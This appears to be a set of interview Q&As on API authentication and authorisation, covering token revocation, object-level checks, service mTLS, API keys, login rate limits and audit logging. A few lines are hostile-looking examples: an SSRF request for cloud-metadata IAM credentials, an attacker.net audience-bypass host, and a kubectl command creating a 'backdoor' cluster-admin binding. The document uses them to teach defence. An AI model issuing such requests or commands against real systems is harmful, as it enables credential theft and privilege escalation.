The part people get wrong. Logout must revoke the refresh token, always. A logout that leaves a valid refresh token means the session resumes on the next request, and that is the bug I would check for first. Password change and account disablement must bump ver or delete the user's refresh tokens too: those are the cases where the window genuinely matters. If the browser is in an SSO flow, the OIDC RP-Initiated Logout end_session_endpoint with id_token_hint is what clears the IdP session; deleting the local token alone leaves the user logged in at the provider.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-16

How would you handle permission changes taking effect for active sessions?

Answer

What I'd say first

The delay is decided by where the permission lives. If roles are baked into a self-contained JWT, that token is the authority until exp: no server-side change touches it. So the first move is to pick a number: what is the longest a revoked admin may keep working? Under a minute for admin, and I'd accept 15 minutes for a read-only scope. Write the number down; incident response depends on it.

Then keep access tokens short and add one cheap check that can cut them off early.

Options

ApproachWorst-case delay after revokePer-request costGets you
Access-token TTL only= TTL (15 min)0nothing to build
Token version countercache TTL (30 s); ~0 if you delete the key on write1 Redis GET, ~0.2 ms p50also logout-everywhere, invalidate on password change
Per-request permission lookup~01 lookup + policy evalfine-grained / ABAC permissions
Push invalidation / deny-listseconds1 set-membership checkmost moving parts; when a lookup is genuinely unaffordable

A 15-minute access token with no version check gives an average revocation delay of 7.5 minutes and a worst case of 15. The version counter drops the worst case to the cache TTL.

The version counter, concretely

Python
# Python 3.12, PyJWT 2.8, redis-py 5.x
import time, jwt, redis

r = redis.Redis(decode_responses=True)
ACCESS_TTL, VER_CACHE_TTL = 900, 30

def issue(user_id: int, ver: int) -> str:
    now = int(time.time())
    return jwt.encode({"sub": str(user_id), "ver": ver,
                       "iat": now, "exp": now + ACCESS_TTL},
                      PRIVATE_KEY, algorithm="RS256")

def revoke_all(user_id: int) -> None:
    db.execute("UPDATE users SET token_version = token_version + 1 WHERE id = %s", (user_id,))
    r.delete(f"u:{user_id}:ver")     # so the next request sees the bump

def authorize(token: str) -> dict:
    claims = jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"], leeway=60)  # checks exp
    uid = claims["sub"]
    ver = r.get(f"u:{uid}:ver")
    if ver is None:
        ver = str(db.fetchone("SELECT token_version FROM users WHERE id = %s", (uid,))[0])
        r.set(f"u:{uid}:ver", ver, ex=VER_CACHE_TTL)
    if int(ver) != claims["ver"]:
        raise PermissionDenied("token superseded")
    return claims

Trace, user 42 at token_version = 7:

  • t=0: issue(42, 7) → {"sub":"42","ver":7,"iat":0,"exp":900}.
  • t=10: request: r.get("u:42:ver") misses, DB returns 7, r.set(..., ex=30) (expires t=40), 7 == 7, allowed.
  • t=20: admin calls revoke_all(42): DB sets token_version = 8, r.delete("u:42:ver").
  • t=21: same token: cache miss, DB returns 8, 8 != 7, PermissionDenied. One second after the revoke.
  • Drop the r.delete and the cached 7 survives to t=40: 20 s late here, never more than VER_CACHE_TTL late in general.

Cost: one Redis GET per request. Same-AZ that is ~0.2 ms p50, ~1 ms p99, and one node handles ~100k ops/s, so 10k RPS is a tenth of a node. A Postgres point lookup is 1-5 ms plus a pool connection.

Failure modes

  • Redis down. Failing closed takes the whole site down on a cache outage; failing open means revocations stop working. I'd fail open with a 5-second in-process cache and page on it, and fail closed only for the admin-scope check.
  • Refresh tokens. Revoking the access token does nothing if the refresh token still mints new ones. Revoke both. Auth0's "revoke refresh tokens" leaves outstanding access tokens valid until exp: that is the trap.
  • Long-lived connections. A WebSocket authenticates once at connect; the version check never runs again, so you need periodic re-auth or a server-side close on revoke.
  • Clock skew. exp is checked against the resource server's clock; allow ~60 s leeway (leeway=60 above) or you will reject fresh tokens.

What I'd actually build

Version counter plus 15-minute access tokens, and the asymmetry: grants can lag, revocations cannot. Cache permissions aggressively for grants; treat a revoke as an event that bumps the version and deletes the key. For the highest-risk operations (deleting a repo, changing billing, impersonation) re-check the permission at the point of action regardless of the token; one lookup is nothing against the consequence.

Managed stacks give you the same primitive: Keycloak's per-user "Not Before" push rejects tokens issued before a timestamp, and Cognito's AdminUserGlobalSignOut invalidates a user's tokens. If you would rather not hold state, RFC 7662 introspection makes the resource server ask the auth server per request, and RFC 7009 is the revocation endpoint clients call.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-22

What is the confused deputy problem in the context of APIs?

Answer

A confused deputy is a component that holds more privilege than its caller and can be induced to spend that privilege on the caller's behalf. The deputy isn't compromised: it's misled. Norm Hardy named it in 1988; the API version is the same shape with a service account where the deputy was.

The test: does this component act with the caller's authority, or its own? If its own, and the caller can steer it, you have the bug.

The classic form: object-level authorisation

Python
# Python 3.12, Flask
@app.get("/invoices/<int:invoice_id>")
@require_jwt            # verifies signature + iss, sets g.user

def get_invoice(invoice_id):
    row = db.execute(
        "SELECT id, tenant_id, total_cents FROM invoices WHERE id = :id",
        {"id": invoice_id},
    ).fetchone()
    return jsonify(dict(row)) if row else ("", 404)

Trace it:

  1. Alice (tenant 7) authenticates. The auth server issues a JWT with sub=alice, tenant=7, aud=https://api.example.com.
  2. Alice sends GET /invoices/1042. require_jwt passes: signature valid, iss trusted, not expired.
  3. The query runs as the service's DB role app_rw, which holds SELECT on invoices across all tenants.
  4. Row 1042 exists and belongs to tenant 12. The handler returns it. HTTP 200, body carries tenant 12's invoice total.

Alice never had authority over tenant 12. The service did. One missing predicate:

Python
    row = db.execute(
        "SELECT id, tenant_id, total_cents FROM invoices "
        "WHERE id = :id AND tenant_id = :t",
        {"id": invoice_id, "t": g.user["tenant"]},
    ).fetchone()

Same request now returns 404, not 403, so you don't leak that the row exists.

Three forms, side by side

FormThe privilegeThe missing checkDetect by
Object-level authzservice's DB rolecaller owns the objectcross-tenant test per route
Audience confusionissuer's signatureaud == this servicereject aud mismatch, log it
SSRFservice's network positiondestination allowlistegress deny-by-default

Audience confusion

A resource server validates signature and iss but not aud. A token minted for A, {"iss":"https://auth.example.com","aud":"https://api-a.example.com","sub":"user-42","scope":"read:reports"}, is presented to B, which accepts it and grants read:reports on B's data. The user consented to A reading reports; B inferred consent it never received. RFC 6749 does not require audience binding, which is why this is common. RFC 8707 adds a resource parameter so the authorization server mints a token whose aud is the intended resource server; RFC 8693 token exchange lets B swap the incoming token for a narrower one scoped to the downstream call.

SSRF

A service fetches a user-supplied URL with its own network position. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ on IMDSv1 returns the instance role name, then temporary credentials for it. IMDSv2 requires a PUT carrying X-aws-ec2-metadata-token-ttl-seconds first, then the returned token in X-aws-ec2-metadata-token on the GET: a GET-only SSRF fails. GCP and Azure require a custom header (Metadata-Flavor: Google, Metadata: true) for the same reason.

Failure modes worth naming

  • Authz in the controller only. A batch export endpoint or GraphQL resolver reaches the same table without the predicate. Enumerate routes in a test and assert a cross-tenant read fails on each.
  • Substring aud matching. aud.startswith("https://api-b.example.com") accepts https://api-b.example.com.attacker.net. Compare exact strings.
  • Redirect-following fetchers. An allowlisted host 302s to 169.254.169.254. Disable redirects or re-validate every hop.

The general defence is one sentence: a component acting on behalf of a caller must act with the caller's authority, not its own.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-2

How would you prevent broken object-level authorisation?

Answer

The fix is structural, not disciplinary. A per-endpoint if (doc.ownerId !== user.id) return 403 depends on every author remembering, and the one who forgets is indistinguishable from the ones who didn't until someone enumerates. OWASP's API Security Top 10 2023 ranks this as API1:2023, Broken Object Level Authorization, for exactly that reason.

Two mechanisms actually remove the choice.

1. A data-access layer that cannot be called without a principal. Make the raw session private and expose only a scoped handle:

Python
# Python 3.12, SQLAlchemy 2.0
class ScopedSession:
    def __init__(self, session, principal):
        self._session, self._principal = session, principal

    def document(self, doc_id):
        return self._session.execute(
            select(Document).where(
                Document.id == doc_id,
                Document.owner_id == self._principal.user_id,
            )
        ).scalar_one_or_none()

Trace GET /documents/42 as user 7, where row 42 has owner_id = 9. The query is SELECT ... FROM documents WHERE id = 42 AND owner_id = 7; the predicate matches zero rows, scalar_one_or_none() returns None, the handler returns 404. Had the handler reached for the raw session it would have returned the row, which is the point: the escape hatch is the bug, so don't ship one.

Return 404, not 403. A 403 on someone else's object confirms the object exists.

2. Row-level security in Postgres, so the predicate holds for psql, migrations, admin tools and any future service:

SQL
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;
ALTER TABLE documents FORCE ROW LEVEL SECURITY;
CREATE POLICY documents_owner ON documents
  USING      (owner_id = current_setting('app.user_id', true)::uuid)
  WITH CHECK (owner_id = current_setting('app.user_id', true)::uuid);

Three details decide whether this is real. FORCE ROW LEVEL SECURITY: without it the table owner bypasses every policy, and the app role often owns the table. current_setting('app.user_id', true) with the second argument returns NULL when unset rather than raising, and owner_id = NULL matches nothing, so a missing SET LOCAL app.user_id = '7' fails closed. And SET LOCAL, not SET: under PgBouncer transaction pooling a session-level setting survives into the next client's transaction on that connection. WITH CHECK is what covers INSERT and UPDATE; USING alone only filters reads.

MechanismCoversFails when
Scoped repositoryApp request pathsA raw session, ORM escape hatch, or background job bypasses it
Postgres RLSEvery path, including psql and admin toolsNo FORCE RLS; unset GUC without the fail-closed form; session-level SET under pooling
Generated testsNew routes regressingThe route isn't in the table the generator reads

Write paths and nesting. PATCH and DELETE are as exploitable as GET and get less attention. Nested routes are the classic miss: /orders/1/items/2 must check that item 2 belongs to order 1 and that the caller owns order 1. Checking only the parent is the standard bug.

What doesn't work. Random UUIDs make enumeration impractical but are not access control; they fail the moment an ID is shared, logged, or leaked in a Referer header. Code-review checklists and "we always remember" fail silently.

Backstop. Generate a test per route from the route table: authenticate as user A, request user B's object, assert 404. Tedious, usually missing, and it catches exactly this class.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-7

How would you design the permission model for a multi-tenant SaaS application?

Answer

There are two distinct layers and conflating them is the usual mistake.

Tenant isolation is not a permission: it is an invariant. No user may ever see another tenant's data, under any role, including administrators. That must be enforced structurally, not as a permission check: a data-access layer where every query is scoped by tenant and it is impossible to write an unscoped one, or row-level security applied by the database. A missing tenant predicate is the single worst bug this class of system can have, because it returns plausible data rather than an error and may go unnoticed for a long time.

Permissions within a tenant is the second layer, and this is where a model is genuinely needed. I would start with roles (owner, admin, member, viewer) because they are comprehensible to customers, who have to administer them, and comprehensibility matters more than expressiveness for a feature users configure themselves.

Then the pressures that arrive:

Resource-scoped roles. A user who is an admin of one project and a viewer of another. That is relationship-shaped, and modelling it as roles-per-resource rather than global roles handles it without role explosion.

Custom roles, which enterprise customers ask for. Supporting them means the underlying model must be permissions-with-roles-as-bundles rather than roles as opaque labels: a decision worth making early, because retrofitting it is painful.

Conditional rules, approve expenses under a threshold, which are attribute-based and are worth resisting until genuinely needed, since they are much harder to reason about and to explain to a customer.

What I would insist on regardless: the decision is made in one place, so there is a single function answering 'may this principal do this action on this resource'. Scattered checks drift and cannot be audited. It must be testable, with cross-user and cross-tenant tests generated per endpoint. And it must be inspectable: customers ask why someone could or could not do something, and a model that cannot answer that is a support burden.

And I would keep an audit log of both permission changes and denied attempts, since the second is an early signal of both misconfiguration and probing.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-19

How do RBAC and ABAC differ in API authorization, and when would you introduce an external policy engine like OPA or Zanzibar-style relation-based access control?

Answer

RBAC couples permissions to coarse roles (role -> permissions). ABAC evaluates contextual attributes across subject, action, resource, and environment (f(subject, action, resource, env) -> allow/deny).

The Core Mechanical Difference

RBAC works well when authorization checks are static route- or action-level gates:

can_access = user.role in ["billing_admin", "org_owner"]

This fails in APIs as soon as access depends on object state, caller context, or relationships. If a user can edit an invoice only when invoice.status == "draft" and user.department == invoice.department, RBAC forces "role explosion" (draft_invoice_editor_dept_4). ABAC models these dynamically at evaluation time.

Comparison Across Architecture Dimensions

CapabilityRBACABAC (e.g., OPA / Rego)ReBAC (Zanzibar style)
Primary primitiveSubject has RoleDynamic attributes on Subject, Resource, ContextDirected Graph edge (subject#relation@object)
Data fetch pointJWT claims or user recordPolicy enforcement point pulls resource state or sidecar bundlesTraverses distributed graph indices
Evaluation latencySub-millisecond (in-memory bitmask / array check)1–5 ms via local daemon/Wasm sidecar5–15 ms graph traversal across hops
Filter / list queriesSimple WHERE role IN (...)Hard (Partial Evaluation / SQL translation required)Native via reverse index lookup (ListObjects)
Failure modesRole explosion, coarse BOLA leaksHigh latency on dynamic data fetch, sidecar stale cacheComplex distributed sync, eventual consistency lag

When to Introduce an External Policy Engine (OPA)

Introduce OPA when policy logic needs decoupling from application deployment lifecycles and spans multiple polyglot services.

REGO
# Example OPA / Rego rule evaluated in local sidecar
default allow = false

allow {
    input.action == "update"
    input.resource.type == "document"
    input.resource.owner_id == input.user.id
    input.user.mfa_authenticated == true
    input.resource.status != "archived"
}

Adoption threshold:

  1. Policies change frequently under regulatory requirements (e.g., geofencing, IP whitelisting, time-of-day access) without wanting service redeployments.
  2. Polyglot microservices are re-implementing disparate authorization logic, creating security drift.
  3. The evaluation relies on payload inspection and transient environmental attributes (ip, time, request body) that are not relationship graphs.

Limit of OPA: Answering "Which 50 documents can this user view?" on paginated endpoints. OPA partial evaluation exists, but compiling Rego AST into SQL WHERE clauses is brittle in production.

When to Introduce Zanzibar-Style ReBAC

Adopt ReBAC when authorization is deeply nested, hierarchical, or delegated through resource-to-resource or user-to-group relationships:

  • Example: "User A can view Doc X because User A is in Team B, Team B is an editor on Folder C, and Doc X is inside Folder C."
  • Mechanic: Stored as relation tuples: folder:C#viewer@team:B#member. Evaluating access is a graph reachability check (Check(user:A, viewer, doc:X)).

Adoption threshold:

  1. Google Docs or Notion-style collaborative permissions (nested inheritance, user sharing, public link overrides).
  2. Scale where computing graph reachability inside relational databases degrades database connection pools with multi-join queries.
  3. Native need for reverse indexing: Zanzibar provides unified Check (can user do X on Y?) and ListObjects (what can user do X on?).

Practical Failure Modes

  1. Data fetching latency in ABAC: OPA running as a sidecar evaluates in microseconds if data is in memory. If the policy must fetch dynamic database state on every call, p99 spikes to external DB query times. Fix: push claims into the token, preload read-only cache bundles, or pass the resource context directly in the request input from the application service.
  2. Zanzibar Zookies / Consistency: ReBAC requires read-at-least-as-fresh-as snapshots ("Zookies") to avoid the "new enemy" problem, where an access revocation written to one replica is not yet visible to a read check executed against another replica.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-21

How would you introduce authorisation into an API that has none?

Answer

The 90-second version. Two things to clarify first: does the API already have a verified identity (a sub on the request), and who are the callers? Authorisation without authentication is impossible, so if there is no authn at all, that lands first. Assuming identity exists, I'd do it in four moves: inventory real traffic, write a deny-by-default policy, run it in shadow mode until the would-deny rate is understood, then enforce endpoint by endpoint behind a kill switch, and finally move the check into shared middleware so new endpoints inherit it.

1. Inventory from traffic, not from the org chart.

Log subject.id, method, path and resource id on every request for two weeks. On a 40-endpoint API with a dozen callers you'll typically find a handful of endpoints carrying most of the sensitive traffic, and at least one caller nobody can name. That last one is the reason for the step.

2. Model: roles for the coarse, ownership for the objects.

Route-level checks alone leave IDOR: GET /tickets/42 authorised by "can read tickets" still leaks other people's tickets. Cedar (AWS's policy language, stable syntax):

CEDAR
permit(principal, action == Action::"readTicket", resource)
when { resource.owner == principal };

permit(principal in Role::"support", action == Action::"readTicket", resource);

No matching permit means deny. If the real requirement is a relationship graph (sharing, nested teams) that's Zanzibar-style (OpenFGA, SpiceDB) and a much bigger commitment; don't reach for it otherwise.

3. Shadow mode.

Evaluate the decision on every request, log it, allow anyway.

Python
# Python 3.12, Starlette middleware
class ShadowAuthz:
    def __init__(self, app, decide):
        self.app, self.decide = app, decide

    async def __call__(self, scope, receive, send):
        if scope["type"] != "http":
            return await self.app(scope, receive, send)
        subj = scope["state"]["subject"]        # set by the authn middleware
        if not self.decide(subj, scope["method"], scope["path"]):
            log.warning("authz.shadow.deny sub=%s %s %s",
                        subj.id, scope["method"], scope["path"])
        return await self.app(scope, receive, send)   # always allow

Trace: user 7 sends GET /tickets/42, which they don't own. decide returns False, one log line is written, the request continues and returns 200. Nothing changes for the caller; you now have a count.

Run it a full business cycle: a month, so the monthly job and the quarterly report both surface. Illustrative numbers: 1.2M requests/day, 0.4% would-deny ≈ 4,800/day. Triage into (a) policy bug, (b) caller genuinely missing a role, (c) caller that should be blocked. Only (a) and (b) are yours to fix before enforcing.

4. Enforce incrementally, with a kill switch.

stagescopegate to advance
1read-only endpoints, internal callerswould-deny < 0.05% for 7 days
2writes, internal callers403 rate flat vs baseline
3partner integration, after noticepartner confirms migration
4everything, deny by default—

Return 403 with a body naming the missing scope; 401 only when the token is absent or invalid (RFC 9110 §15.5.2/15.5.4). Keep a flag that reverts to shadow in one deploy. Prioritise by exposure, not uniformly: sensitive data and unauthenticated-reachable endpoints first.

5. Make it structural.

Move the check into a data-access layer or middleware so a new endpoint is protected unless someone opts out explicitly, and generate cross-user tests: for each resource endpoint, assert user A gets 403 on user B's object. Without this the API drifts back to unprotected as endpoints are added.

Failure modes to watch.

  • Health checks and metrics scrapers get 403'd: exempt them explicitly, not by accident.
  • Decision caching keyed on the token: bound the TTL (30–60s) or a revoked role keeps working.
  • Confused deputy: service A calls B with A's token and B trusts it. Use token exchange (RFC 8693) or per-hop audience (RFC 8707).
  • PDP unreachable: fail closed, but serve a cached last-known-good policy bundle so a control-plane outage isn't an API outage.

Latency: an in-process or sidecar PDP (OPA, Cedar) is sub-millisecond to low single-digit ms; a network hop to a central PDP is roughly 5–15 ms p99. Budget it before choosing.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-9

How would you handle authentication between internal services?

Answer

In the first two minutes

Clarify the platform before answering: Kubernetes with a service mesh, or VMs and a mix? I'll assume Kubernetes, an existing OIDC provider, and no mesh yet, since that's the common starting point.

The answer: give every workload a cryptographic identity issued by the platform, authenticate the transport with mTLS, and carry a short-lived, audience-scoped token for the authorisation decision. Network location is not identity: a compromised pod, a misconfigured ingress, or a container escape all put the attacker inside the perimeter, and "it's internal" has never been a control.

The options, with the numbers that decide them

OptionIdentity sourceCredential lifetimeWhat breaks
mTLS with SPIFFE SVIDsX.509 cert from a CA (Istio's istiod, SPIRE)Istio default is 24 h, rotated at 50% of lifetimeCA unreachable past the rotation window: workloads serve on the old cert, then every handshake fails at expiry
OAuth2 client credentials (RFC 6749 §4.4)Authorisation server5–15 min access tokenBearer token is replayable if it leaks; you still need a secret store
Platform workload identityProjected service-account token, cloud instance identity1 h projected token; 1 h STS credentialsMissing aud validation → confused deputy
Static shared secretConfig fileUntil someone rotates itRotation is a coordinated deploy; a leak is permanent

What it looks like in a mesh

YAML
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata: {name: default, namespace: payments}
spec:
  mtls: {mode: STRICT}
---
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata: {name: ledger-read, namespace: payments}
spec:
  selector: {matchLabels: {app: ledger}}
  action: ALLOW
  rules:
    - from:
        - source:
            principals: ["cluster.local/ns/payments/sa/reconciler"]
      to:
        - operation: {methods: ["GET"], paths: ["/v1/balances/*"]}

STRICT rejects plaintext callers at the handshake, so roll it out as PERMISSIVE first and watch which workloads still connect without a client cert.

Propagating user identity

Passing the user's token through is simple but makes every hop able to act as the user. The narrower option is RFC 8693 token exchange: the caller POSTs grant_type=urn:ietf:params:oauth:grant-type:token-exchange with subject_token and an audience naming the next service, and gets back a token scoped to that hop, with an act claim recording the delegation chain. More machinery, but a compromised service can only replay what it was handed.

Failure modes and how you see them

  • Cert expiry. With a 24 h SVID rotated at half-life, an istiod outage gives roughly 12 h of grace before the first handshake failures. Alert when remaining SVID lifetime drops below 6 h.
  • Audience confusion. Service B accepts a token minted for service A. Catch it in CI: call B with A's token and assert 401.
  • Clock skew. Validate exp/nbf with 30–60 s leeway, or a drifting node rejects valid tokens.
  • Replay. If a bearer token isn't enough, bind it to the client cert (RFC 8705) or use DPoP (RFC 9449).

Authorisation is separate

Service A being authenticated does not mean it may call every endpoint on B. The AuthorizationPolicy above is the same least-privilege argument as anywhere else, and it bounds what a compromised service can reach.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-10

How would you design API key management for third-party integrators?

Answer

Assumptions first: multi-tenant SaaS, keys are bearer credentials for server-to-server calls, we own the API gateway, and the backing store is Postgres plus Redis. No user is present at call time, so this is not a password and not an OAuth token: it is a long-lived shared secret that will end up in a config file, a CI variable, or a support ticket.

The 60-second answer. Mint 256 bits of CSPRNG entropy, show the key once, store only its SHA-256 digest plus a plaintext 8-character prefix for identification. Scope every key to the operations its integration needs. Allow several keys per account so rotation is a migration rather than an outage. Make revocation take effect in seconds, not hours. Record last-used time and source address so a leak is visible. Then assume the key leaks anyway and optimise for damage limit and time-to-detect.

Generation and format

Python
# Python 3.12
import hashlib, secrets

PREFIX = "sk_live_"                    # 8 chars, non-secret, greppable

def mint():
    body = secrets.token_urlsafe(32)   # 32 bytes = 256 bits -> 43 chars
    key  = PREFIX + body               # 51 chars total
    return key, hashlib.sha256(key.encode()).hexdigest()

token_urlsafe(32) draws from os.urandom, so the search space is 2^256. The prefix is not secret; it exists so a key in a log line or a public repo is recognisable. Stripe (sk_live_), GitHub (ghp_, github_pat_) and AWS (AKIA) all do this, and it is what lets GitHub's secret scanning partner programme and tools like gitleaks and TruffleHog match your keys specifically instead of guessing at entropy.

Storage: hash, but not with bcrypt

ApproachLookup costSurvives a DB dump?Verdict
bcrypt / argon2O(n): salted, unindexableYesWrong tool. Those exist to slow guessing of low-entropy passwords; a 256-bit random key is not guessable, and you cannot index a salted hash.
SHA-256, unsaltedO(1) unique indexYes, given 256-bit entropyCorrect.
Reversible encryptionO(1)No: key material is recoverableOnly if you must redisplay keys, which you must not.
PlaintextO(1)NoNever.

Store key_hash (64 hex chars) as a unique index, plus prefix (first 8 chars, plaintext), scopes, created_at, expires_at, revoked_at, last_used_at, last_used_ip.

Validation path and revocation latency

Python
def authenticate(presented, db, cache):
    h = hashlib.sha256(presented.encode()).hexdigest()   # 64 hex chars
    rec = cache.get(h)                                   # Redis GET, ~0.2 ms
    if rec is None:
        rec = db.one("SELECT id, scopes, revoked_at FROM api_keys WHERE key_hash=%s", h)
        if rec is None:
            return None                                  # unknown key -> 401
        cache.set(h, rec, ex=30)                         # 30 s TTL
    if rec["revoked_at"] is not None:
        return None                                      # revoked -> 401
    return rec

Trace it. A request arrives with sk_live_ plus 43 characters. The digest is computed, the Redis GET misses on a cold key, Postgres does one point read on the unique index (p99 around 1 ms), the row comes back with revoked_at = NULL, and the request proceeds with the row's scopes. On revoke, the handler sets revoked_at and issues DEL key_hash; the next request misses the cache, re-reads, sees the timestamp, and gets a 401. Without that explicit DEL, the 30-second TTL is your worst-case revocation lag, which is why the revoke path must delete the cache entry rather than rely on expiry.

Lifecycle

Scopes. A read-only integration gets read:invoices, not *. This is the largest single limiter on blast radius, and it is free.

Multiple keys per account. Rotation becomes: create B, migrate traffic, watch A's last_used_at stop advancing, revoke A.

DayActionState
0Create key BA and B both valid
0–7Move traffic to BBoth valid
7A's last-used stops advancingA idle
14Revoke AB only

Expiry. Default 90 days, hard cap 365, with warnings at 30 and 7 days. Mandatory expiry creates support load, so make it the default rather than a wall: except for keys scoped to sensitive data, where it should be enforced.

Last-used tracking. Do not UPDATE per request: at 10k rps that is 10k writes/s. Write to Redis and flush to Postgres every 60 seconds; you lose at most a minute of precision and none of the signal.

Per-key rate limits. One leaked key should not be able to exhaust a tenant's whole quota.

Failure modes to design against

  • Key in a query string. It lands in access logs, proxies and Referer headers. Require the Authorization header and reject ?api_key=.
  • Long cache TTL. Revocation silently lags. Detect it by measuring the interval from the revoke call to the first 401 in staging.
  • Truncated hash. Storing 16 hex chars instead of 64 cuts the effective preimage space and invites collisions. Store the full digest.
  • Prefix used for auth. The prefix is an identifier for logs and dashboards only; never accept it as a credential.
  • No incident path. An integrator who suspects a leak and cannot find a revoke button does nothing. Self-service revoke plus a published security contact, with a target of minutes.

The framing

Keys will leak: committed to repositories, pasted into tickets, embedded in client-side code. Design for damage limitation and short time-to-detection rather than for prevention that will not hold. A recognisable prefix, a fast revocation path and a last-used timestamp turn a silent compromise into an alert you can act on.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-14

How do you protect authentication endpoints from abuse?

Answer

A strong candidate reframes the question first: the login form is not the endpoint. The credential-accepting surface is. That means login, registration, password reset, MFA verification, token refresh, and any endpoint that answers "does this account exist". Then they say the defence is four independent layers, because each one alone is bypassable.

Layer 1: limits on four dimensions. Per-account limits stop brute force against one user; per-IP stops one host. Neither stops credential stuffing, which spends one attempt per account across thousands of accounts and IPs, so no per-account or per-IP counter ever trips. You also need a per-subnet counter and a global failure-rate signal.

dimensionlimitcatches
account5 failures / 15 min, then backoffbrute force one user
IP20 attempts / min → HTTP 429 + Retry-Aftersingle source
/24 or ASN100 failures / 10 mindistributed stuffing
globalalert at 3× the trailing baseline failure ratestuffing across many accounts

NIST SP 800-63B §5.2.2 caps consecutive failed attempts per account at 100. That is a ceiling, not a target: 5–10 with backoff is the usual production setting.

Layer 2: constant-time verification, including for unknown users. Returning early when the username does not exist leaks account existence through response time. Verify against a dummy hash instead:

Python
# Python 3.12; argon2-cffi
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

ph = PasswordHasher(time_cost=2, memory_cost=19456, parallelism=1)  # OWASP baseline
DUMMY = ph.hash("not-a-real-password")

def verify(user, password):
    stored = user.password_hash if user else DUMMY
    try:
        ph.verify(stored, password)
        return user is not None
    except VerifyMismatchError:
        return False

Trace: unknown user → stored = DUMMY, ph.verify runs the full Argon2id computation and raises VerifyMismatchError, so the function returns False. Known user, wrong password → same exception, same cost. Known user, right password → returns True. The Argon2id work is paid on every request, so timing no longer separates the three cases. Return one message, "Invalid username or password", for all of them.

Layer 3: progressive delay, not hard lockout. A lockout after N failures lets an attacker lock any account they can name, turning an availability control into an availability attack. Delay instead, keyed on the account counter:

Python
delay = min(2 ** (n - 1), 30)   # n = consecutive failures in the window

Trace: n=1 → 1 s, n=2 → 2 s, n=3 → 4 s, n=4 → 8 s, n=5 → 16 s, n=6 → 32 s capped to 30 s, and every later failure stays at 30 s. The attacker's cost per guess grows exponentially; a legitimate user waits at most 30 s.

Layer 4: reject known-breached passwords. Query the Have I Been Pwned Pwned Passwords range API: SHA-1 the candidate password, send the first 5 hex characters, receive the roughly 800–1000 suffixes for that prefix, and match locally. The password never leaves the host (k-anonymity). This removes the reuse that makes stuffing work.

MFA is the control that actually stops stuffing, because a correct password alone is insufficient: TOTP (RFC 6238) or WebAuthn.

Failure modes to name. Reset flows are the usual hole: rate-limit them by account and by IP, and use single-use tokens with a ~15-minute TTL and 128 bits of entropy. CAPTCHA only after suspicion: universal CAPTCHA trains users to solve them reflexively. And watch the shapes separately: many accounts from one IP, one account from many IPs, many-to-many, and a spike in reset requests are four different attacks needing four different responses.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-23

How would you decide what an audit log for authentication and authorisation should contain?

Answer

Work backwards from the questions the log has to answer, then record the minimum that answers them. Four questions cover most investigations: who accessed this object and when; what did this identity do between T1 and T2; who granted this permission; and was this exploited before we shipped the fix. A field that serves none of those is storage cost and breach surface.

The rule that follows: record the decision, not the data. Every authentication attempt and every authorisation decision, allow and deny, with subject, action, object, outcome, and the policy that decided it.

Authentication. Success and failure, with the identity attempted, source IP, timestamp, and method (password, OIDC, mTLS, API key ID). Failures carry the detection signal; successes carry the "was this account used" signal. In Postgres that is log_connections = on, log_disconnections = on, log_statement = 'ddl', plus pgaudit with pgaudit.log = 'ddl, role, write'. On Linux, auditd rules keyed for identity files: -w /etc/passwd -p wa -k identity.

Authorisation denials. A burst of denials from one principal is either a misconfigured client or enumeration. Both are worth an alert; neither is visible if you only log successes.

Access to sensitive objects. Who read which record. This is the one most often missing, and without it the honest answer after an incident is "we cannot tell": untenable when notification obligations depend on it. In AWS this is CloudTrail data events, opt-in per resource and billed separately from management events.

Privilege changes. Role and permission grants, with the actor and the resulting binding. This answers "who granted this" and is the record you need for escalation.

Token issuance and revocation, so a token found in a dump traces back to its grant.

What not to record: credentials, session tokens, or the sensitive values themselves. A log that captures what it protects becomes a second copy of the data with weaker access control.

Properties. Tamper-evident: an attacker who can edit the log erases themselves. CloudTrail does this with SHA-256 hashes and RSA-signed digest files; S3 Object Lock in compliance mode makes objects immutable for a fixed period; a hash chain, each record carrying the SHA-256 of its predecessor, does it in your own store. Retained past the investigation window: PCI DSS v4.0 10.5.1 requires 12 months with the most recent 3 immediately available; HIPAA §164.316(b)(2)(i) requires documentation be kept 6 years. CloudTrail Lake event data stores take a retention of 1 day to 3653 days. Queryable by user, by object, by time: a log you cannot query during an incident is a log you do not have.

Worked example: Kubernetes audit policy. --audit-policy-file with --audit-log-path=/var/log/kubernetes/audit.log:

YAML
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: ["RequestReceived"]
rules:
  - level: None
    users: ["system:kube-proxy"]
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods", "configmaps"]
  - level: RequestResponse
    verbs: ["create", "update", "patch", "delete"]
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

Trace: alice@example.com (OIDC) runs kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --group=oidc:admins. Rules are evaluated in order: rule 1 does not match the user; rule 2 does not match the resource group; rule 3 matches verb create on clusterrolebindings, so the level is RequestResponse. One event is emitted at stage ResponseComplete (RequestReceived is omitted at the top level) containing user.username: alice@example.com, user.groups, sourceIPs, verb: create, objectRef.resource: clusterrolebindings, objectRef.name: backdoor, requestObject with roleRef.name: cluster-admin and subjects[0].name: oidc:admins, responseStatus.code: 201, and stageTimestamp. That single record answers who granted cluster-admin, to whom, from where, and when: with no application code.

